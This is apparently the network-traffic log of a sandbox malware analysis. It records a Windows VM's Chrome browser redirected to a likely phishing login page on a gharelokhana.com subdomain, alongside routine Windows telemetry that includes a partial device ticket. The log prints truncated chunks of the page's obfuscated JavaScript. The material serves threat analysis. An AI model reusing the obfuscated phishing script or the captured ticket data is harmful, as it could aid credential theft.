Dec 4, 2024 16:15:13.305350065 CET	386	IN	HTTP/1.1 307 Temporary Redirect Server: nginx Date: Wed, 04 Dec 2024 15:15:13 GMT Content-Type: text/html Content-Length: 164 Connection: keep-alive Location: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>nginx</center></body></html>
Dec 4, 2024 16:15:58.320374012 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	164.92.191.86	80	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 16:15:57.039760113 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49723	164.92.191.86	80	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 16:15:57.164753914 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49706	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:14:53 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 6a 47 62 66 63 79 75 34 6b 69 7a 71 75 71 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 38 31 66 34 61 32 38 61 65 38 35 33 37 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: DjGbfcyu4kizquqW.1Context: 6281f4a28ae85377
2024-12-04 15:14:53 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:14:53 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 6a 47 62 66 63 79 75 34 6b 69 7a 71 75 71 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 38 31 66 34 61 32 38 61 65 38 35 33 37 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: DjGbfcyu4kizquqW.2Context: 6281f4a28ae85377<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:14:53 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 44 6a 47 62 66 63 79 75 34 6b 69 7a 71 75 71 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 32 38 31 66 34 61 32 38 61 65 38 35 33 37 37 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: DjGbfcyu4kizquqW.3Context: 6281f4a28ae85377
2024-12-04 15:14:54 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:14:54 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 79 52 42 41 52 34 6e 32 45 32 38 7a 66 6b 55 44 76 2b 49 5a 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AyRBAR4n2E28zfkUDv+IZg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49707	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 6e 57 62 4e 55 57 55 36 6b 4f 36 79 35 62 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 34 36 31 30 36 38 38 32 34 34 64 38 64 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gnWbNUWU6kO6y5bz.1Context: cd4610688244d8da
2024-12-04 15:15:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:15:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 6e 57 62 4e 55 57 55 36 6b 4f 36 79 35 62 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 34 36 31 30 36 38 38 32 34 34 64 38 64 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gnWbNUWU6kO6y5bz.2Context: cd4610688244d8da<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:15:05 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 67 6e 57 62 4e 55 57 55 36 6b 4f 36 79 35 62 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 34 36 31 30 36 38 38 32 34 34 64 38 64 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: gnWbNUWU6kO6y5bz.3Context: cd4610688244d8da
2024-12-04 15:15:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:15:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 66 5a 75 53 7a 35 76 65 6b 6d 35 64 78 38 2f 63 69 36 65 4f 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sfZuSz5vekm5dx8/ci6eOg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49708	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 54 6b 73 4e 6c 5a 6d 50 55 69 74 71 2b 36 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 65 36 61 63 34 37 30 30 66 35 66 31 31 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: RTksNlZmPUitq+6d.1Context: aae6ac4700f5f11d
2024-12-04 15:15:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-04 15:15:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 52 54 6b 73 4e 6c 5a 6d 50 55 69 74 71 2b 36 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 65 36 61 63 34 37 30 30 66 35 66 31 31 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 35 77 4f 39 68 76 62 45 4d 2b 69 53 66 45 2b 38 44 46 45 6f 61 6d 47 46 76 53 62 58 34 48 49 51 59 4b 35 45 4b 78 75 36 71 38 39 54 39 4f 4a 6e 46 63 44 4f 72 39 65 57 4d 58 41 64 56 37 4b 38 6a 69 4f 45 35 51 2f 38 52 49 4b 4a 69 65 49 72 4b 72 54 5a 4c 75 38 52 48 6d 6c 4b 50 63 2b 63 66 46 50 35 42 4f 44 44 46 6f 32 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: RTksNlZmPUitq+6d.2Context: aae6ac4700f5f11d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe5wO9hvbEM+iSfE+8DFEoamGFvSbX4HIQYK5EKxu6q89T9OJnFcDOr9eWMXAdV7K8jiOE5Q/8RIKJieIrKrTZLu8RHmlKPc+cfFP5BODDFo25
2024-12-04 15:15:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 52 54 6b 73 4e 6c 5a 6d 50 55 69 74 71 2b 36 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 65 36 61 63 34 37 30 30 66 35 66 31 31 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: RTksNlZmPUitq+6d.3Context: aae6ac4700f5f11d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-04 15:15:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-04 15:15:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 51 67 6b 76 4f 4a 6b 57 42 6b 69 68 6d 7a 44 79 72 66 62 48 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: QgkvOJkWBkihmzDyrfbHaQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49720	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-04 15:15:12 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=81736 Date: Wed, 04 Dec 2024 15:15:12 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:13 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-04 15:15:14 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=222166 Date: Wed, 04 Dec 2024 15:15:14 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-04 15:15:14 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:14 UTC	687	OUT	GET /common/login HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:15 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-12-04 15:15:15 UTC	7100	IN	Data Raw: 31 62 62 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 30 72 35 28 72 2c 75 29 7b 76 61 72 20 78 3d 61 30 72 34 28 29 3b 72 65 74 75 72 6e 20 61 30 72 35 3d 66 75 6e 63 74 69 6f 6e 28 41 2c 49 29 7b 41 3d 41 2d 30 78 31 39 63 3b 76 61 72 20 6e 3d 78 5b 41 5d 3b 72 65 74 75 72 6e 20 6e 3b 7d 2c 61 30 72 35 28 72 2c 75 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 72 2c 75 29 7b 76 61 72 20 41 43 3d 61 30 72 35 2c 78 3d 72 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 41 3d 70 61 72 73 65 49 6e 74 28 41 43 28 30 78 34 Data Ascii: 1bb4<!DOCTYPE html><html lang="en"> <head> <script type="text/javascript"> function a0r5(r,u){var x=a0r4();return a0r5=function(A,I){A=A-0x19c;var n=x[A];return n;},a0r5(r,u);}(function(r,u){var AC=a0r5,x=r();while(!![]){try{var A=parseInt(AC(0x4
2024-12-04 15:15:15 UTC	16384	IN	Data Raw: 37 66 66 39 0d 0a 6c 75 65 27 3a 78 58 5b 30 78 31 5d 2c 27 64 75 72 61 74 69 6f 6e 27 3a 78 42 7d 29 3b 7d 7d 3b 7d 2c 30 78 31 31 63 37 3a 66 75 6e 63 74 69 6f 6e 28 78 71 2c 78 6f 2c 78 68 29 7b 76 61 72 20 78 69 3d 78 68 28 30 78 32 35 65 37 29 3b 78 71 5b 27 65 78 70 6f 72 74 73 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 78 4a 2c 78 53 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 78 69 28 78 4a 29 29 28 30 78 30 3d 3d 3d 78 53 3f 30 78 30 3a 78 53 29 3b 7d 3b 7d 2c 30 78 32 32 63 35 3a 66 75 6e 63 74 69 6f 6e 28 78 71 2c 78 6f 2c 78 68 29 7b 76 61 72 20 49 36 3d 61 30 72 35 3b 69 66 28 49 36 28 30 78 32 63 34 29 21 3d 3d 49 36 28 30 78 33 33 64 29 29 7b 76 61 72 20 78 69 3d 78 68 28 30 78 38 66 35 29 2c 78 4a 3d 78 68 28 30 78 31 61 34 31 29 3b 78 71 5b 27 65 78 Data Ascii: 7ff9lue':xX[0x1],'duration':xB});}};},0x11c7:function(xq,xo,xh){var xi=xh(0x25e7);xq['exports']=function(xJ,xS){return new(xi(xJ))(0x0===xS?0x0:xS);};},0x22c5:function(xq,xo,xh){var I6=a0r5;if(I6(0x2c4)!==I6(0x33d)){var xi=xh(0x8f5),xJ=xh(0x1a41);xq['ex
2024-12-04 15:15:15 UTC	16384	IN	Data Raw: 68 28 30 78 32 31 31 39 29 2c 78 53 3d 78 68 28 30 78 34 66 65 29 2c 78 5a 3d 4f 62 6a 65 63 74 2c 78 4b 3d 78 69 28 27 27 5b 6e 4a 28 30 78 35 36 64 29 5d 29 3b 78 71 5b 6e 4a 28 30 78 34 30 61 29 5d 3d 78 4a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 78 5a 28 27 7a 27 29 5b 27 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 27 5d 28 30 78 30 29 3b 7d 29 3f 66 75 6e 63 74 69 6f 6e 28 78 7a 29 7b 72 65 74 75 72 6e 27 53 74 72 69 6e 67 27 3d 3d 3d 78 53 28 78 7a 29 3f 78 4b 28 78 7a 2c 27 27 29 3a 78 5a 28 78 7a 29 3b 7d 3a 78 5a 3b 7d 2c 30 78 31 63 36 34 3a 66 75 6e 63 74 69 6f 6e 28 78 71 2c 78 6f 2c 78 68 29 7b 76 61 72 20 6e 53 3d 61 30 72 35 2c 78 69 3d 78 68 28 30 78 31 32 39 61 29 2c 78 4a 3d 78 68 28 30 78 35 63 62 29 2c Data Ascii: h(0x2119),xS=xh(0x4fe),xZ=Object,xK=xi(''[nJ(0x56d)]);xq[nJ(0x40a)]=xJ(function(){return!xZ('z')['propertyIsEnumerable'](0x0);})?function(xz){return'String'===xS(xz)?xK(xz,''):xZ(xz);}:xZ;},0x1c64:function(xq,xo,xh){var nS=a0r5,xi=xh(0x129a),xJ=xh(0x5cb),
2024-12-04 15:15:15 UTC	16384	IN	Data Raw: 0a 34 30 30 30 0d 0a 46 5d 3d 78 65 3b 65 6c 73 65 7b 69 66 28 78 65 29 73 77 69 74 63 68 28 72 65 29 7b 63 61 73 65 20 30 78 33 3a 72 65 74 75 72 6e 21 30 78 30 3b 63 61 73 65 20 30 78 35 3a 72 65 74 75 72 6e 20 78 45 3b 63 61 73 65 20 30 78 36 3a 72 65 74 75 72 6e 20 78 46 3b 63 61 73 65 20 30 78 32 3a 72 42 28 78 47 2c 78 45 29 3b 7d 65 6c 73 65 20 73 77 69 74 63 68 28 72 6b 29 7b 63 61 73 65 20 30 78 34 3a 72 65 74 75 72 6e 21 30 78 31 3b 63 61 73 65 20 30 78 37 3a 72 6c 28 78 47 2c 78 45 29 3b 7d 7d 7d 72 65 74 75 72 6e 20 78 44 3f 2d 30 78 31 3a 78 4b 7c 7c 78 67 3f 78 62 3a 78 47 3b 7d 7d 2c 78 61 3d 66 75 6e 63 74 69 6f 6e 28 78 70 29 7b 76 61 72 20 79 53 3d 79 69 3b 78 70 5b 79 53 28 30 78 33 38 33 29 5d 28 78 43 28 27 27 29 29 2c 78 70 5b 27 63 Data Ascii: 4000F]=xe;else{if(xe)switch(re){case 0x3:return!0x0;case 0x5:return xE;case 0x6:return xF;case 0x2:rB(xG,xE);}else switch(rk){case 0x4:return!0x1;case 0x7:rl(xG,xE);}}}return xD?-0x1:xK\|\|xg?xb:xG;}},xa=function(xp){var yS=yi;xp[yS(0x383)](xC('')),xp['c
2024-12-04 15:15:15 UTC	9	IN	Data Raw: 34 30 61 29 5d 3d 7b 0d 0a Data Ascii: 40a)]={
2024-12-04 15:15:15 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 27 73 74 61 72 74 27 3a 78 62 28 30 78 31 29 2c 27 65 6e 64 27 3a 78 62 28 30 78 32 29 2c 27 74 72 69 6d 27 3a 78 62 28 30 78 33 29 7d 3b 7d 2c 30 78 31 37 38 64 3a 66 75 6e 63 74 69 6f 6e 28 78 71 2c 78 6f 2c 78 68 29 7b 76 61 72 20 6d 76 3d 61 30 72 35 2c 78 69 3d 78 68 28 30 78 31 39 34 64 29 2c 78 4a 3d 78 68 28 30 78 32 31 31 39 29 2c 78 53 3d 78 68 28 30 78 31 35 63 61 29 5b 27 53 74 72 69 6e 67 27 5d 3b 78 71 5b 6d 76 28 30 78 34 30 61 29 5d 3d 21 21 4f 62 6a 65 63 74 5b 6d 76 28 30 78 35 66 65 29 5d 26 26 21 78 4a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6d 45 3d 6d 76 2c 78 5a 3d 53 79 6d 62 6f 6c 28 6d 45 28 30 78 35 65 33 29 29 3b 72 65 74 75 72 6e 21 78 53 28 78 5a 29 7c 7c 21 28 4f 62 6a 65 63 74 28 78 5a 29 69 6e 73 Data Ascii: 4000'start':xb(0x1),'end':xb(0x2),'trim':xb(0x3)};},0x178d:function(xq,xo,xh){var mv=a0r5,xi=xh(0x194d),xJ=xh(0x2119),xS=xh(0x15ca)['String'];xq[mv(0x40a)]=!!Object[mv(0x5fe)]&&!xJ(function(){var mE=mv,xZ=Symbol(mE(0x5e3));return!xS(xZ)\|\|!(Object(xZ)ins
2024-12-04 15:15:15 UTC	8	IN	Data Raw: 31 39 29 2c 78 5a 0d 0a Data Ascii: 19),xZ
